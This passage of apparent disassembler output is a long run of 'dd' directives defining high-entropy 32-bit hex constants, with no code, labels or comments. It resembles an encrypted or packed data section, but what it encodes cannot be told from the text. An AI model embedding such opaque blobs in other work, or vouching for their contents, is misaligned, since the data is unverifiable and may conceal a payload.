		dd 201E2928h, 1AB50148h, 0CE1077ADh, 35148A05h,	5DA90922h
		dd 0C1473CF9h, 96B19E9h
		dd 23825D68h, 0BB009233h, 484E7E1Bh, 70066351h,	0C253867h
		dd 0A416A738h, 5302442Ch, 4017972Eh, 0FBF575Eh,	1D876FB4h
		dd 41E7F7C0h, 0B8900A10h, 97E95F09h, 0BB125414h, 550142A7h
		dd 0FCDEF75Dh, 0D1956ED3h, 0BADA021h, 74C65E3Bh, 127A0404h
		dd 59C99DF9h, 5EFE14A9h, 0A80784E9h, 0EBA9580Eh, 5A75BF00h
		dd 0C4C06B0Ah, 26697FD4h, 0A9DB4AF7h, 82240729h, 0C6609663h
		dd 0B0A061E3h, 0AADE5821h, 5AE90840h, 0CAF9D0FBh, 40905BF5h
		dd 0E7042790h, 89E156F7h, 4B5CC7D2h, 5DD3A2C6h,	3B6AA7A6h
		dd 75BDED4Bh, 2D770C69h, 2F4CC81h, 61502768h, 794EF1E6h
		dd 36607DE5h, 82A7996Ah, 53962C98h, 70928EAh, 3288BE0h
		dd 0E946091Bh, 76347016h, 598438C8h, 7EFED83Dh,	44E94A5Bh
		dd 0A2CAAF27h, 454B7C59h, 0C0FE3407h, 49B193F5h, 1007816Fh
		dd 92A1626Ah, 9D8598BDh, 648DB2F7h, 1E88EBCh, 72BD052Eh
		dd 0BE94FDCh, 5A5E7C02h, 183C4C5Fh, 567C6DE9h, 472F95BEh
		dd 284580Ah, 51F0D5Ah, 0D180E6C1h, 8B30A6C6h, 0B8B8374Bh
		dd 0EB87FD40h, 89ED6D1h, 426EC181h, 0FD937453h,	1540CED0h
		dd 7E069011h, 15AE9E8h,	699220DBh, 983EC7BEh, 5B10D415h
		dd 0CE099729h, 24B297Fh, 51B4934Ah, 9498BCA1h, 55B710C7h
		dd 8FFCC05Ah, 3B7D4410h, 6EC1850h, 2899BE6Ah, 6486F6FAh
		dd 928D3AF5h, 0E55F48A2h, 7B5812Ch, 0C6E95411h,	8D00CD74h
		dd 25688704h, 0CBDCB1Ah, 5F3EA978h, 16521451h, 20888021h
		dd 0BE5540AAh, 426F05C0h, 7E0AEA26h, 923A07E9h,	0E390A67Eh
		dd 3AC1AEEBh, 3DC01B7h,	33741C27h, 0AAEFAFEFh, 5D969BFCh
		dd 8FF1F0CDh, 0A444472h, 0A8924F24h, 0BF94C4C9h, 0F0215F02h
		dd 0B5F78582h, 0F851D974h, 9F11BA3Ch, 3F9513DDh, 0B1016499h
		dd 0FC050A80h, 747B257Ah, 0C8A1E7CCh, 82FE0909h, 79DC985Eh
		dd 5C1E92Eh, 6E5960F7h,	0F0D724BDh, 0F4488DFBh,	0E69D179Ah
		dd 2A537AEDh, 0FAF13Eh,	0A8021EB8h, 58C70945h, 0CC0EA098h
		dd 0A95BF0D3h, 0C2FEFEDFh, 290B06F3h, 203702C2h, 92A5F6B6h
		dd 18E35A63h, 3100D372h, 922D5BDEh, 0BF1F2E18h,	70D4C62h
		dd 0EDF46BABh, 0DF6F4158h, 7EC28CB1h, 0DD3A284Dh, 1A28022Bh
		dd 73C031F7h, 51051CBBh, 0E5E94A23h, 0CD6B42E1h, 0A612406Bh
		dd 3F073209h, 18BBF581h, 0F0C2596h, 3D382C4Ah, 35D8CD80h
		dd 0C9B07DFBh, 771C7903h, 4CD5F702h, 76044E10h,	81EE0182h
		dd 2A94CDB9h, 0A29242CBh, 17A89226h, 950A9A05h,	0F8D55Fh
		dd 7EA535F8h, 0E927698Eh, 29AC0543h, 1D61CBB1h,	2DC2133Ah
		dd 42D008BEh, 291D2509h, 326894Bh, 0B03B4E91h, 3D438FCBh
		dd 0EA1B6B76h, 93A8B9ABh, 6A7BDC13h, 13BC67E4h,	30FCF381h
		dd 8BF01B65h, 81BFAAD0h, 461AE73h, 97D6E830h, 0C2FE0C81h
		dd 2EEEC980h, 0EBC03CA1h, 51590F66h, 0C3A1ACB5h, 283FE99Fh
		dd 0A84FE7h, 0F5A984A5h, 83092E70h, 9792DF80h, 17D316FFh
		dd 0F29B01E9h, 0A3E35B06h, 0B8286150h, 1A4C0BEBh, 0AA5632C4h
		dd 0EA7CE82h, 0EE1AE07Dh, 0A3741868h, 4E031E71h, 0A4C2E915h
		dd 7680C3Bh, 403D6F37h,	0D17731EAh, 0CB04F44Bh,	71C49BB2h
		dd 0E2863590h, 8D468F6h, 0C07A1C87h, 0D7884EEAh, 0B54A85E9h
		dd 73B23742h, 0E4CEE33Ch, 0C215AEFh, 292D2377h,	0D7C6E9F1h
		dd 0B052D248h, 0C4924E7Dh, 7C74F885h, 0A7EDEF4Ah, 0B4CBBD50h
		dd 0E03AC2F3h, 88C236D4h, 0BB3C2407h, 418A67DCh, 0BC903017h
		dd 435A740h, 4DCF4E71h,	375E9050h, 594B0F77h, 4C072A10h
		dd 19914A08h, 0C9E0B6B1h, 815B9ADh, 4B268642h, 2868D804h
		dd 3C6C45AAh, 65BBD1Ah,	2D1856E0h, 0DA1E2D4Eh, 5C95C5Ch
		dd 62A9765Ch, 780047D4h, 4F62941Eh, 679CAAE9h, 0F645B626h
		dd 9C1B5FAFh, 6F03AE2Eh, 11A68809h, 0C7207266h,	52519C67h
		dd 27ABE55Dh, 5C50FCFCh, 0A80F4F68h, 34AAD358h,	53F90134h
		dd 0DA3A0D4Bh, 0FC62966Ah, 0B10127F6h, 1C5F2B4h, 772EFA42h
		dd 5F76C50Bh, 69A904DAh, 0CE01FB1Eh, 1703456h, 826A0F9h
		dd 22525F6Dh, 2A70F53Bh, 2BB8FF85h, 0ACE98AD8h,	5E28099Fh
		dd 0C6A55CA3h, 0C1C50ADh, 412C1371h, 110343EEh,	0E6812816h
		dd 7326E19Ch, 36E9F089h, 1AD783C2h, 6746D559h, 2F652920h
		dd 0CFE55451h, 8400DFBBh, 0ED805866h, 0F83698BAh, 13A9ED4h
		dd 0B25649B9h, 1686431Fh, 3E7955B1h, 8B080813h,	25E52476h
		dd 5B97C654h, 2C87CA81h, 7CA78E59h, 68D3E3C2h, 8312D90Ch
		dd 0E1964FBAh, 556B70ADh, 7AAF6812h, 0CC9431EBh, 0E2C00098h
		dd 73807308h, 0B7F2266Eh, 13E9059Ah, 0EA48EF97h, 14F0AF12h
		dd 73AFD09Dh, 98F32D3Dh, 0C1AC6E43h, 2F526C7h, 11185F5Ah
		dd 0A0706B8h, 0AF250D8Bh, 0B75DF923h, 0E0643FE2h, 9DB9DF35h
		dd 0B254D59h, 4F384CCEh, 4E729D46h, 97022308h, 53041352h
		dd 827AF683h, 801E0FE9h, 43782222h, 0E1014E53h,	82080487h
		dd 0F346E363h, 45407FF3h, 0CF6516B9h, 4F0AB576h, 9454026Ch
		dd 0A4F7DB3Dh, 38ABEFD9h, 155EE969h, 2DBAFE12h,	1012CED2h
		dd 0AC90906h, 7139840Fh, 5DFB8BD0h, 51F0B87Dh, 0A89D91CBh
		dd 9211D643h, 8F89EFFh,	7C7D7A95h, 6846248Ah, 0BFD1074h
		dd 80D78959h, 4DA0CFE4h, 872E4CBEh, 206A9B05h, 7DC0C073h
		dd 0D0B09E5Dh, 14A51D20h, 8BD70158h, 4E6E54Fh, 69C9BA82h
		dd 3D804330h, 312673ECh, 0E048EECh, 0A476A2E4h,	1C11C357h
		dd 36585D95h, 0F5BFBB33h, 7892FBAh, 6D441322h, 5BFC3001h
		dd 0E13822E1h, 4E10D558h, 875D0363h, 93D031EAh,	0F0850C2h
		dd 0B7836A0Bh, 5C7A2D44h, 208352B7h, 554A12DFh,	0D7F73CC1h
		dd 58A80BA0h, 0E8181FFh, 6E41391Dh, 166EC5A2h, 0C9054A2h
		dd 3CDB2B40h, 76490139h, 88284B8h, 9E2C0E56h, 0C8999E09h
		dd 808E1860h, 7BE19A2Ch, 68514687h, 0A32A4599h,	288009ECh
		dd 0AF9055F0h, 421E85BDh, 0E88C9D8Bh, 25682C1Dh, 0C1F13138h
		dd 0D95B7B89h, 0B6738970h, 0DD48AC7Eh, 2D333F02h, 0D728E218h
		dd 1BFD8FC0h, 11ED3Bh, 9B1D23E1h, 0A1D1F751h, 9E026D6h
		dd 689B750h, 0D12FEC7Eh, 14026A03h, 0CC81F1C7h,	3F21B22Dh
		dd 850D651Ah, 0C953FAB3h, 14B15E9h, 8C5C7C31h, 6CD401Bh
		dd 0CE4B39E9h, 5578FAE2h, 0E8C0C899h, 9D19582Ch, 49BC041Fh
		dd 93647270h, 3CEB6815h, 59B81E7Fh, 0E9285281h,	282BEC9Ch
		dd 7849EFC9h, 90165B94h, 0F63FFB69h, 67EC509Bh,	0C38F4882h
		dd 1DE3A16Ah, 0F605B730h, 0E04D6DAh, 0D2E9DFC3h, 8258BD84h
		dd 467E0DA4h, 17462082h, 3504F72Ch, 0D6E9FD91h,	689202BEh
		dd 0F19A6790h, 40614E84h, 0DE8660C1h, 1C42BF18h, 5CECF08h
		dd 0AF125BEFh, 95FA85C4h, 1311EC18h, 0CEBC7542h, 33952CA1h
		dd 595F241Fh, 95A2203Ch, 810FF878h, 0EE7588E5h,	0F7CDC06Eh
		dd 272B9511h, 0EE0530E9h, 0C000AF5Bh, 0EFA672F1h, 0E00D9A80h
		dd 0D33080DEh, 69D32EEh, 14EB58E6h, 0D9387368h,	4C440CD4h
		dd 29BB409Fh, 0C087FB2Fh, 1435EF87h, 0D071C146h, 7E0F3E05h
		dd 1936C3A8h, 45534836h, 0E0F33E2Ch, 0E9341205h, 67BA8AFh
		dd 7E5C15Fh, 76E60ED2h,	0F5C14EA3h, 2BD966E0h, 2E50A8A0h
		dd 8229F07Fh, 744979C1h, 6D529000h, 0DEF72E04h,	0D9E402F2h
		dd 61F59B77h, 8E751453h, 6235D425h, 2CF49B7Ah, 66CB7AEDh
		dd 0FC6E97F7h, 89C6812h, 255D0261h, 0E8CB5582h,	0B2605B5Fh
		dd 10BFF5D0h, 527C68B1h
		dd 0AF121B72h, 4C32FBC7h, 707AEA0Bh, 697BB1AEh,	772408D2h
		dd 0D3514FA9h, 8C10DA6Dh, 87757560h, 2032C6B5h,	0B83B9B49h
		dd 588801EBh, 520E2835h, 382DB13Fh, 3A041CBDh, 7ED1C312h
		dd 39113F5Bh, 0B05000FAh, 0F40C742Eh, 6A1F5201h, 0F9754D35h
		dd 7D114C45h, 0CB21C158h, 210CC8BAh, 5A9DC2D0h,	0B8D8DEE9h
		dd 8F6962B6h, 8860607Bh, 0B5F5E93Eh, 16D77EE2h,	0D8294B99h
		dd 132D6841h, 888C7327h, 5A1EEF88h, 65E62FEDh, 7939E7Fh
		dd 0EFB26268h, 357A632Fh, 7B39BD6Ah, 0EBFE310Fh, 341B2997h
		dd 0ACE7BD4Eh, 0D089A126h, 8E4F6AF6h, 4810627Dh, 0D007F1Eh
		dd 742A1371h, 0FDB1E910h, 0A5ED5A7Bh, 0BD082E46h, 0BC2E3018h
		dd 164C6033h, 0E7D51012h, 8F83113h, 5200C88Ah, 0F128E4B6h
		dd 3380485Ah, 0C1D5ED70h, 0B59360D6h, 0FEEA09D0h, 8909C0C2h
		dd 84EE952Eh, 2F9B1C7Fh, 4F392E76h, 2C13F8E6h, 4B28AE7Fh
		dd 5EC94CFDh, 0BE29B3C4h, 167E1E81h, 0EC81316Ah, 0D8F701AEh
		dd 0DD0C8h, 57B72C96h, 5845DE25h, 2E054E02h, 89B9EFFAh
		dd 0A786FEB0h, 0D26DC0C0h, 6BB41495h, 0DA790D2Bh, 6B01443Fh
		dd 0B062715Fh, 0BA708B60h, 0AD7B723Fh, 0B860045Eh, 0C32DF1B2h
		dd 4842A55Ch, 0A25F9317h, 0F788027Ah, 66F88C80h, 0B705535Bh
		dd 51DFF6AAh, 0B10FBB1Eh, 0E9F1E15Fh, 0D92E9AF7h, 24B72A86h
		dd 0EACEE9C2h, 55012B51h, 954B30BDh, 740EA88h, 6F885E12h
		dd 0B3AB4A66h, 0D58A92AAh, 1DAF6801h, 305D6E43h, 0E91205C1h
		dd 11BD6B52h, 0AB8CF213h, 0D3167B1Ch, 5A58AA1Dh, 9272E909h
		dd 6055EAB7h, 83AD0A5Eh, 789F207Fh, 0C19B3182h,	0C0CAEE8Bh
		dd 0E9184862h, 6861BE80h, 1C134D6Bh, 0EDE10686h, 57D4BA1Ch
		dd 0D9B82B00h, 9D3991C2h, 2504111Ch, 62685419h,	0F8A784FBh
		dd 0B080A5D5h, 74C437Dh, 4481BA36h, 8257598Ch, 0FCD03112h
		dd 0AC50694Ch, 0E902CCEDh, 0C3786030h, 2F5CA6E3h, 0D1077206h
		dd 690249EBh, 0E47ACEB8h, 96511A0Fh, 0B3FB642Fh, 5AD5E2D1h
		dd 5FF1CF6Eh, 6DC4C1E2h, 4BB17FDh, 973DD1h, 6C4780BFh
		dd 0CF810235h, 5EDF364Eh, 0BEFAE680h, 312FCD10h, 686E18F9h
		dd 8D304BBFh, 0AE6354F7h, 6AA3F74h, 0E9EBF3A3h,	7C61C301h
		dd 0CB01434Ch, 5EA78370h, 0B28EAC08h, 81725C7Bh, 311892CEh
		dd 7C052119h, 80345F44h, 0AA4C17BBh, 0CA318531h, 0BCC23D82h
		dd 848E5573h, 6D616BC0h, 0D3B2D154h, 0B953CA16h, 25AD8D80h
		dd 293F3F1Ch, 8C151FEh,	0CBBC4930h, 297DEE4Fh, 0FA82DD6Ch
		dd 58059687h, 0BFBD84FEh, 29BAD3C4h, 0A13628CDh, 0EE10B1F9h
		dd 617B8DFh, 9F9421DEh,	0E92C78EEh, 0A0CE512Fh,	7F171A44h
		dd 268B812h, 7C0144EDh,	3F5EC5E9h, 0C113E792h, 90F54AA1h
		dd 101C8704h, 0EEC0D6F6h, 67F31AC4h, 31E0A813h,	0FE286170h
		dd 0A3DDD421h, 318F6CCh, 0E962B151h, 6103E7D2h,	397102C6h
		dd 150C4C7Ch, 135ED590h, 0EFBB0A36h, 0E5A89306h, 0B6046A10h
		dd 0FDB3775Eh, 4FEEE710h, 4BBBBCF4h, 4A0CB711h,	0A3D47444h
		dd 0A48A2109h, 66C10C27h, 0FC01F299h, 31A6C763h, 0C53B5AD6h
		dd 593B0E49h, 0AA7AC3CCh, 0D0506182h, 0F616A26Ch, 0E7E09D2h
		dd 9B5DF1B2h, 575CB2D8h, 122598EDh, 0EF257D17h,	683F8058h
		dd 7A9447E6h, 1E6F5572h, 6859E989h, 0B502C779h,	9F819930h
		dd 0B0F2DB83h, 2F6185EAh, 7E405275h, 1A469DE9h,	9DDD742Ah
		dd 3A150759h, 16E84BFEh, 32DBA6A1h, 68BAD8F6h, 17731719h
		dd 0D3FC4Ch, 1D8E1C8Dh,	0A48A6CE9h, 3F9A0DC1h, 0F58C5FEBh
		dd 986C63h, 4829DFBEh, 3685320h, 2D69425Ah, 2616F75Bh
		dd 0DBB36DA3h, 0D7D9A493h, 0A0598F40h, 24F29B9Ah, 249ABEE2h
		dd 0B2240899h, 901542Fh, 16C484E1h, 63F098A3h, 59F2AE8h
		dd 8757B1CCh, 0CC50C222h, 58C504D0h, 0F806E468h, 707CC5B4h
		dd 8884FBECh, 0C3C5AFC5h, 6B681F0Eh, 0BF59797Fh, 0C10ED039h
		dd 0CBCF5358h, 0EE9D801h, 3B312E85h, 62331689h,	4F0B5C2Eh
		dd 23E85EA9h, 55BC6DAAh, 4211BE47h, 58F41165h, 4F039699h
		dd 84108D09h, 2B0F86EAh, 85501013h, 8F90A6D9h, 74026866h
		dd 0F2D7D055h, 7B8BFBB5h, 0CF1FEE23h, 276FCE64h, 0D429B368h
		dd 0B2A16749h, 45F140E4h, 0C594F627h, 0E2CABE84h, 85235C7Ch
		dd 619E0592h, 252BF2C3h, 0DFDCE201h, 68043367h,	23BC780Ah
		dd 58A820CBh, 65757A64h, 16DFCBFBh, 631E986Dh, 0BDF1BE53h
		dd 0E0A80D5Eh, 335E325Ah, 1D90E901h, 47B907Bh, 683FCB81h
		dd 57428E5Eh, 0AC12C156h, 89E82BD8h, 0F2E5B7F7h, 0D857EF96h
		dd 0BB71EBFh, 0E75101EBh, 0F20CCFC8h, 3CE1FB5Dh, 169743F9h
		dd 79087257h, 1666D48h,	82F4F84Fh, 2DBC24EBh, 0BAF05B09h
		dd 24C3409Ah, 5AEB75C2h, 182FED38h, 0C0708DECh,	0B0F5B8E0h
		dd 52E4F12Bh, 0FC60968h, 1780393Ah, 580E77CAh, 3E12234Ch
		dd 3B7A89F5h, 387FD052h, 42A86D7Fh, 400682C7h, 0C7DF4E64h
		dd 0C269BA4Fh, 81851C85h, 8F90C883h, 4668791Eh,	12F982C8h
		dd 1DFFAC5Ah, 7D188058h, 4CDC680Eh, 0B4C38915h,	80D0F6B0h
		dd 38B05BCCh, 5DA3A45Eh, 0D9E2F24Fh, 0CA6A020Ch, 0E5BC5EA8h
		dd 0C442B84Bh, 350007E8h, 0CBDFEBA2h, 4EBD70B7h, 0ABD4847Eh
		dd 0E912D1CEh, 6D5B3050h, 771C425Ch, 1EF1875Fh,	0BD00BF45h
		dd 462D53B7h, 49A25C4Dh, 8BE9065Eh, 0DDC342D6h,	63B08D9Ch
		dd 0C4E138FFh, 0D515E5FBh, 4FAB2389h, 0D7010977h, 0F3694B0Eh
		dd 458730D7h, 83AD2D9h,	0BF015891h, 5FC70FC1h, 1687BE30h
		dd 0EF48993Bh, 60BC516h, 9C5371B3h, 0AD68DFC1h,	0EC7C7E1Ah
		dd 0C0C9E947h, 0F1EF306Ah, 3A28A1E8h, 0B25B2CF8h, 0E953C203h
		dd 0B5E15876h, 865546Ch, 0D7FEBA79h, 0ED53AEBFh, 0BBF30302h
		dd 2506B64h, 65046F0Ch,	0DC4B4B05h, 0D8FB0677h,	1A6ED918h
		dd 0E25B8BA8h, 0C46D7C0Ch, 0D2DC12DFh, 0ACB859E9h, 276ABB7Eh
		dd 0DC206BFAh, 840F0817h, 0A22867F4h, 6D0CFC26h, 0D98BC5C2h
		dd 0C126426Fh, 40A6E7B1h, 0C048B221h, 2706EA27h, 0CA3301BFh
		dd 0E60C3CFCh, 28E3EB89h, 0BEADC563h, 1504A853h, 9CA87471h
		dd 12578D84h, 0BF2312FAh, 0A67FBB2Fh, 0E95808E7h, 0CB3EB714h
		dd 5BD5950Bh, 0D02B96C2h, 35D4C59Dh, 0C0C2337h,	0F3477F01h
		dd 34E0B17Ah, 69B52D21h, 0D06A0599h, 0D151E9A3h, 74A720DFh
		dd 2DE51721h, 2FD06E68h, 5B5BE952h, 287BD37Dh, 0FC1725C7h
		dd 0C23D84C8h, 0F26E9CAAh, 0F3345E5Ah, 3869AFDh, 0CA0F73C5h
		dd 0DDEA434Ch, 2AF1F281h, 6A1FFCh, 2366A29Eh, 0C19F5B7Fh
		dd 55CEF74Eh, 0AFED1400h, 40BDF8FEh, 0DFAA9630h, 40C9004Fh
		dd 0E5C131E3h, 0A3A1035Fh, 0DEF82FD5h, 0BC2D2AE9h, 59C83BD1h
		dd 6A474185h, 0E106EB51h, 1FE7718Ah, 76658CFh, 7908A0B1h
		dd 0E86D5070h, 0B43AD83Fh, 0E3BA589Dh, 90F69126h, 0B2B624CFh
		dd 0F8C4A0B9h, 73E013A8h, 0B7CB4084h, 0D4C04E25h, 79330C72h
		dd 5667C385h, 0DDB29B06h, 75947F78h, 40A1D1B7h,	2A9B58AEh
		dd 0E6F0404Eh, 87735AD7h, 0AD2D7064h, 0BA5CBBDCh, 71187DE6h
		dd 481A758Bh, 0A412FE9h, 2AC461EAh, 0B0088E20h,	2CD44090h
		dd 5A7B294Ch, 65B3EF12h, 10CD680Ah, 0F8BDB946h,	606C1F12h
		dd 5355C527h, 57EF80D3h, 3E02FEC6h, 4A245C31h, 7B85C6Eh
		dd 84EC8850h, 9DAA946Ah, 0EBFE862h, 1D270A1Fh, 6A22EF00h
		dd 55E97AF3h, 0EB60A078h, 60704176h, 3965C823h,	78AC91CDh
		dd 0A3422D49h, 0C4F7B0C4h
		dd 0F3ED90AAh, 623D03A5h, 0B10E1238h, 0BA0B278Ch, 0AD663966h
		dd 4D83113h, 823870Ah, 98D90A34h, 4CC10160h, 2B9B0A9Ch
		dd 0A36AC5F1h, 0A9B617BDh, 683F63E2h, 0D5FE35A5h, 0D261E9E2h
		dd 0A8EA04FCh, 0BA3C9174h, 2D08CD50h, 10F25158h, 0A5124A8Bh
		dd 0C381F660h, 391538DFh, 4025F9DBh, 105EE908h,	3870AF95h
		dd 4317F7h, 0B9516861h,	460D7C6Dh, 5F1094Ch, 777DE94Fh
		dd 1C39FAADh, 0FC60202Dh, 19C0CF7Bh, 0F69EB753h, 0B0DFE4D7h
		dd 68D788F8h, 69049CA1h, 0AA73E652h, 0F9BC5E83h, 5C0A50A1h
		dd 23692881h, 0C4D81C9Ch, 0B092E966h, 60ED31B7h, 0E7AA44A9h
		dd 8686E057h, 4E97F83Fh, 10D0A6A9h, 1E507273h, 43DF62BFh
		dd 14575DEAh, 3E215176h, 4B6F9020h, 7BF5F7E3h, 28D5A428h
		dd 54650E50h, 859FB7FAh, 0B00686DDh, 0B50BCBFEh, 0AF9C744h
		dd 58DEB13h, 0C6E99C08h, 7F844E0Eh, 43C28096h, 69CD7655h
		dd 0D98B070h, 0F7BADB40h, 0EC97C67Ch, 0D46A2CF5h, 3E19EF07h
		dd 46F3016Bh, 7E20823Fh, 308EAB4Bh, 9F067C88h, 0B0B55659h
		dd 8203FCB9h, 872041F4h, 0F36B1E02h, 0F0C6E93Bh, 205A019Dh
		dd 0FF6859E8h, 97203863h, 8A6B26B1h, 778DD39Dh,	296A8E35h
		dd 0CD196F0Dh, 4200C0F0h, 32B0DAF7h, 2A8FB509h,	0A255E4FEh
		dd 0B53B58E5h, 1A5B1264h, 0E4C3920Fh, 3BA5FB20h, 791ED67Ah
		dd 94762EA0h, 0AA0B2DBBh, 1240949Ch, 0C8399368h, 0FB955219h
		dd 2539A4E4h, 5C63977Ch, 7E29D256h, 65891EDAh, 0E978655Ch
		dd 77689F48h, 15C61EC4h, 773B5B72h, 66EB25E5h, 0BB6741FEh
		dd 622C3730h, 6E00EC0h,	115511E9h, 6917680Fh, 7E7DFD52h
		dd 4BE21D2Fh, 0BAEF7752h, 5074FCE5h, 13A60E92h,	0C25FEB62h
		dd 0BBEA975Bh, 0E1B7B0EEh, 9022474Bh, 1676B800h, 6E053364h
		dd 29D960F5h, 0EA58C52Ch, 0B7CB771Dh, 67A058BAh, 74CD7DAEh
		dd 5C9D0CCh, 0B82741F6h, 8114706Fh, 0DC605D07h,	5B6440E1h
		dd 9AFA312Dh, 0A10880D8h, 9E5F4162h, 0E56B050Ah, 2ACD037Eh
		dd 8203AF34h, 116501CAh, 614C2045h, 1FE150B5h, 2E555BADh
		dd 9C263F58h, 20688529h, 55F73356h, 3A03EECFh, 0D2005D7Fh
		dd 88ECFC22h, 9794E4E9h, 5A145567h, 78132CEDh, 0F2054341h
		dd 0C0FE21F0h, 270EE6AEh, 0F8BF1980h, 0AB06D2F0h, 0EFB11B12h
		dd 0A447E82Ah, 592A6FF2h, 9D8176C8h, 0ADBD69E5h, 0DE41528Eh
		dd 0D6F78A5Ah, 9F4602F1h, 23D6E54Dh, 5C9D5827h,	841DD851h
		dd 505124Ch, 0EEA06C0Ah, 0ECC2FB24h, 31010688h,	543BD2C7h
		dd 39B97511h, 0F9310B84h, 5388FE5Fh, 9A5E76E9h,	93FD9C9Ch
		dd 0C6549107h, 23B06A58h, 9F5F928Dh, 0D4349FCFh, 0EE9355A9h
		dd 8BAA5A25h, 0D76C468h, 0C036609h, 0AEAD5B07h,	0D22B0081h
		dd 0FCF20370h, 64E9255Eh, 0E6D1F681h, 35003F4Eh, 57351EF6h
		dd 34099748h, 7EA678DBh, 39FAEBB4h, 7358243Eh, 702C7B41h
		dd 7F13899Eh, 64EF4874h, 47ED81B5h, 9325D14Ch, 37AF9520h
		dd 5A281398h, 32F2C750h, 0B8013CE6h, 0C340CD17h, 8B2FF801h
		dd 0B738124Dh, 0E550C0B2h, 0A8175A12h, 65BDE88h, 0DCCD5BA3h
		dd 0DB9F58D5h, 7C05694Bh, 0CFB1B88Dh, 0E2354B51h, 63B4FD97h
		dd 6B13C32Dh, 0D1D792C2h, 50A3604Eh, 0E1FC42CCh, 2C1B200Eh
		dd 93C9C72Ah, 0CF80EDC4h, 1D28CFC1h, 6901DDDEh,	0F009284Ch
		dd 5570718Dh, 8E2E8E29h, 9C9612EFh, 0C8D13424h,	904507Fh
		dd 1956C497h, 4822F327h, 0B6822DE7h, 0C27EEC88h, 97730158h
		dd 0DC3756Ah, 0E33E50B6h, 4D9B831Bh, 1709D168h,	0FE937F2Dh
		dd 0B0503630h, 0B6520136h, 0E9DEF6DCh, 2D2822AEh, 0BFEEF6D3h
		dd 0D7C57F37h, 501E8232h, 9069E7DCh, 0BDB16378h, 0C43A8F45h
		dd 0BE37D203h, 0A2ED8A05h, 4B7FD9E2h, 686C0242h, 996C7E9Eh
		dd 0DEC3AB81h, 55EDEAD5h, 0D66B3AD3h, 3B5C5158h, 0C01485C7h
		dd 0FFE352EBh, 65A0FC45h, 74D463ADh, 292EB6E3h,	24B6CB9h
		dd 5DC33DE5h, 0D7ABBAh,	0BC58C0D3h, 65E91460h, 0B584F7F7h
		dd 1CAD136Dh, 650ECB04h, 0A60B020Fh, 0F9CF6059h, 0B94424E9h
		dd 50D583D6h, 0C291E888h, 0CF8B6F58h, 73B75300h, 30DCEF80h
		dd 8AAEFA64h, 2B01AB12h, 50C8310Eh, 7D866C6Dh, 0B7052459h
		dd 24B35389h, 0DFF7E5C2h, 0C0180C3h, 21B15156h,	0DE6528E9h
		dd 6EE0E03Ah, 68D4D18h,	2E3FA40Ch, 2D00499h, 43D03DA8h
		dd 57C40557h, 8150911Dh, 195D2D04h, 0E1C2FAA9h,	8EBD0FF6h
		dd 3B4979BBh, 216A1F1h,	0E9403CFAh, 0D4D78427h,	82CE5287h
		dd 221BBDh, 8712190Ch, 27EC3508h, 8477E83Ah, 4248751Dh
		dd 90FB3DC4h, 5532E9E1h, 0E51A2E97h, 0CCAFE1F1h, 5B5B0B1Dh
		dd 2A657130h, 0E9540BE8h, 127371A9h, 0F75798EBh, 0FAE919E1h
		dd 82FB6FBBh, 4E46C3C2h, 0EBAC83B1h, 20C9B8F9h,	1CA0FF29h
		dd 141CD008h, 0C00B1350h, 7F05C26Bh, 0CC07A67h,	8570BEB6h
		dd 0ADA225E9h, 0C0FAE7D2h, 0FE3C0190h, 2D5B72C4h, 861712BCh
		dd 75AFEDF5h, 0FA90FEF4h, 68A2A20h, 0C12EB9BAh,	711C5A09h
		dd 333C2F63h, 8ECE82EAh, 6B09BE26h, 0E941AADCh,	0CF69D45Fh
		dd 0EBCCF528h, 3B49A07Bh, 754E4519h, 0E2E5084Ah, 50EDC130h
		dd 95DB56h, 2D183A5Ch, 7C483BA2h, 1B7479EAh, 202B4A48h
		dd 0B568B578h, 0E7C74DD6h, 0EF056EF5h, 5F169FFAh, 0B46D9544h
		dd 922FD716h, 5948E09Bh, 7E3A1720h, 0F6BFAC6Fh,	6AECB713h
		dd 1005BF96h, 6D8DB617h, 92A189ECh, 6E059FDBh, 79C4EB77h
		dd 773D47B0h, 0BEE840E9h, 671C718h, 80A3ED14h, 215EDD68h
		dd 800DE6E4h, 5390EB01h, 0BE474302h, 55CB290Ah,	0EAC09910h
		dd 0EEE6D690h, 2FDBF897h, 90C66502h, 0F3F38F2Fh, 4213AC18h
		dd 0E57D0305h, 0C3FD0B3Ch, 0E5F03044h, 38F0E9Fh, 63E404F0h
		dd 0C66FECFh, 18F2AE84h, 75CDF84h, 0F27F5655h, 4B059040h
		dd 0C8367435h, 0B326CC66h, 5C20EB82h, 0F3E1F773h, 7F3FAC6Bh
		dd 9FB5BEBh, 4B59AA42h,	9A78133Ch, 52D9AD4Ch, 0D68D0AC7h
		dd 1E8B295Bh, 0BF0BA0BEh, 0FEAF3ACFh, 14621A60h, 9081655Dh
		dd 0BD5B281Ch, 6735DC2Eh, 726E5630h, 0AA41B597h, 0CA252E9Dh
		dd 93100EF8h, 0E781014Ch, 78C423C1h, 205F7D8h, 29484020h
		dd 0ADD95FFDh, 73335E4Bh, 4E2F8748h, 0DA7EAEA1h, 31345E37h
		dd 983CBA81h, 66E38801h, 0B9B5036Ch, 5E7CD80h, 0EAE92506h
		dd 0CBF692BEh, 0FAA8E675h, 0FB5B558Ch, 0C9225D43h, 2D89F174h
		dd 0A9FD05E8h, 0C775563Dh, 88DC1975h, 0FC4A6172h, 58E6978Eh
		dd 2A4BF16Bh, 588668F1h, 9744C2E7h, 1DC097D8h, 0E43E9935h
		dd 0DC01ADB6h, 0DF8342EEh, 0C5CBA75Fh, 75C78D82h, 6A587CB1h
		dd 74EEB416h, 0DC40BD4Ah, 5E7E6D3h, 965AE96h, 885BE4B3h
		dd 0E741D023h, 13B9CFECh, 0FA0DE86Ah, 0EB7D13h,	0C7EBDE32h
		dd 6726E9DFh, 0F7BDFFEEh, 687A2626h, 6352578Eh,	0BC0A47BAh
		dd 0F7928BC3h, 170E42C6h, 13D1C2EAh, 6066EB12h,	0C8FB4A12h
		dd 386B3F4Eh, 12DF0C14h, 2240F44h, 1665D96h, 68F80E54h
		dd 0CA60393Ch, 0E65BD444h, 0E5E8A51Ch, 7782B5FBh, 70D0C749h
		dd 627E1A2h, 2275866h, 80F5B65Ah, 8A4369C6h, 0BF8DFFA3h
		dd 0CBF4D1DDh, 0B194B5FEh, 44B0220h, 0D04918BBh, 5F2CAB16h
		dd 7F6D1345h, 0B9861331h, 30CF51A3h, 2903DE14h,	0F7480F2Bh
		dd 0D0400D0h, 26CB2211h, 0DA7F2D40h, 0FE2FEB2Fh, 0C2E97958h
		dd 0E261E87Fh, 5509B7BBh, 0CFF2AC10h, 0BAA7E95h, 2ED1CE3Ah
